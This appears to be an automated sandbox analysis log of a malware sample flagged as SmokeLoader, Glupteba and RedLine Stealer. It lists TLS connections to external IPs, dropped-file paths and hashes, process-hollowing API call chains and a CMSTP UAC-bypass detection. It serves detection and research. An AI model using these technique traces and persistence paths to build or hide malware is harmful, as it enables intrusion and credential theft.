Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.94.2:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.171:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.168:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.31:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.20.213.70:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.21.38:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.58.81.140:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.188.40.189:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.251.119.10:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.160.49.126:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.48.81.160:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.164.215.246:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.73.69.128:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.15.93:443 -> 192.168.2.4:50011 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 32.2.D741.exe.590e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.D741.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.D741.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2186806895.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud

Yara detected Glupteba

Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.288c47bbc1871b439df19ff4df68f076.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2186277276.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2260755475.0000000000843000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2274530955.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.6C7B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 4.2.6C7B.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 26.0.C33B.exe.7f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 00000027.00000002.2633548507.00000000021B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000020.00000002.2240906447.0000000000758000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1943005542.000000000066E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001B.00000002.2187651810.0000000002800000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.2239536145.0000000000590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001D.00000002.2274530955.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001D.00000002.2273976773.00000000029A9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000027.00000002.2632990846.00000000008E8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.1990030741.00000000023D0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1703068992.0000000000601000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1703174858.000000000064E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1703030711.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000003.00000002.1942416948.0000000000480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000003.00000002.1942372818.0000000000470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: C:\Users\user\AppData\Local\Temp\C33B.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen

PE file contains section with special chars

Source: 7CB9.exe.1.dr	Static PE information: section name: .vmp@3
Source: 7CB9.exe.1.dr	Static PE information: section name: .vmp@3
Source: 7CB9.exe.1.dr	Static PE information: section name: .vmp@3

PE file has a writeable .text section

Source: vbsmartcardviewer.exe.20.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ObjectSerialization65.exe.21.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401553
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00401561 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401561
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156B
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_0040156F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156F
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401729
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_004023E5 NtQuerySystemInformation,	0_2_004023E5
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401583
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401587
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_004026A0 NtEnumerateKey,	0_2_004026A0
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401553
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00401561 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401561
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_0040156B
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_0040156F NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_0040156F
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00401729 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401729
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_004023E5 NtQuerySystemInformation,	3_2_004023E5
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00401583 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401583
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	3_2_00401587
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_004026A0 NtEnumerateKey,	3_2_004026A0
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 4_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,	4_2_00409543
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 4_2_0040E48D NtQuerySystemInformation,	4_2_0040E48D
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 4_2_00401B2C NtQueryInformationProcess,	4_2_00401B2C
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 10_2_00409543 GetWindowsDirectoryW,NtAllocateVirtualMemory,EnterCriticalSection,RtlInitUnicodeString,RtlInitUnicodeString,LeaveCriticalSection,LdrEnumerateLoadedModules,	10_2_00409543
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 10_2_00401B2C NtQueryInformationProcess,	10_2_00401B2C
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 10_2_004023F2 LoadLibraryA,LookupPrivilegeValueA,AdjustTokenPrivileges,LoadLibraryA,NtShutdownSystem,	10_2_004023F2
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Code function: 10_2_0040E48D NtQuerySystemInformation,	10_2_0040E48D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE9E00 NtCreateThreadEx,	12_2_04BE9E00
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_02590110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	14_2_02590110

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

Code function: 4_2_0040B453: DeviceIoControl,

4_2_0040B453

Source: C:\Users\user\AppData\Local\Temp\6C7B.exe

Code function: 10_2_004023F2 LoadLibraryA,LookupPrivilegeValueA,AdjustTokenPrivileges,LoadLibraryA,NtShutdownSystem,

10_2_004023F2

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00425E0A	0_2_00425E0A
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00428214	0_2_00428214
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00424A8F	0_2_00424A8F
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00426109	0_2_00426109
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00425530	0_2_00425530
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00424FDF	0_2_00424FDF
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00423B81	0_2_00423B81
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Code function: 0_2_00425B8F	0_2_00425B8F
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00424A5C	3_2_00424A5C
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00425E0A	3_2_00425E0A
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00428214	3_2_00428214
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_004254FC	3_2_004254FC
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00426109	3_2_00426109
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00423B81	3_2_00423B81
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00425B8F	3_2_00425B8F
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Code function: 3_2_00424FAB	3_2_00424FAB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A94004	12_2_04A94004
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A94BA8	12_2_04A94BA8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A91B48	12_2_04A91B48
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A93CE8	12_2_04A93CE8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A9476C	12_2_04A9476C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A93038	12_2_04A93038
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A9103C	12_2_04A9103C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04A915D0	12_2_04A915D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BEAC80	12_2_04BEAC80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE1330	12_2_04BE1330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BEB330	12_2_04BEB330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE9720	12_2_04BE9720
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE1000	12_2_04BE1000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE9E00	12_2_04BE9E00
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE1C50	12_2_04BE1C50
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BEAF80	12_2_04BEAF80
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE15F0	12_2_04BE15F0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE1910	12_2_04BE1910
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BE9300	12_2_04BE9300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BEA750	12_2_04BEA750
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BEAA40	12_2_04BEAA40
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_04BEA140	12_2_04BEA140
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005D011C	14_2_005D011C
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005CE10E	14_2_005CE10E
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005CFA89	14_2_005CFA89
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_004103C5	14_2_004103C5
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005D0397	14_2_005D0397
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_0040FC55	14_2_0040FC55
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005CF538	14_2_005CF538
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005D0E3E	14_2_005D0E3E
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005D0696	14_2_005D0696
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_0040F7C0	14_2_0040F7C0
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_0040FFF3	14_2_0040FFF3
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005CEFE9	14_2_005CEFE9
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_004107AD	14_2_004107AD
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Code function: 14_2_005D27A1	14_2_005D27A1

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Drivers\csrss.exe A1480E23BD2A89B188FB01138EF2F54130F2DC41CE85FF9319AB7F15471B0011
Source: Joe Sandbox View	Dropped File: C:\ProgramData\ObjectSerialization65\ObjectSerialization65.exe EC88B7D9AAB10E45DC4AC1AAFFA5D9DA9BF2E368580BDDF16F0DDE301E97B43F
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7096 -ip 7096

Source: 98EE.exe.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 98EE.tmp.16.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 98EE.tmp.16.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 98EE.tmp.16.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: 98EE.tmp.16.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: 98EE.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 98EE.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 98EE.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: 98EE.tmp.19.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: is-NKCIS.tmp.20.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-NKCIS.tmp.20.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-NKCIS.tmp.20.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-NKCIS.tmp.20.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: BroomSetup.exe.30.dr	Static PE information: Number of sections : 11 > 10
Source: is-DBI1S.tmp.20.dr	Static PE information: Number of sections : 11 > 10
Source: is-KGK8A.tmp.20.dr	Static PE information: Number of sections : 11 > 10
Source: is-FG4H6.tmp.20.dr	Static PE information: Number of sections : 11 > 10
Source: is-5CUFU.tmp.20.dr	Static PE information: Number of sections : 11 > 10
Source: is-IUB5D.tmp.20.dr	Static PE information: Number of sections : 11 > 10
Source: is-G5H9G.tmp.20.dr	Static PE information: Number of sections : 11 > 10

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jjdjbtc	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: comsvcs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: cmlua.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: cmutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: rsaenh.dll	Jump to behavior
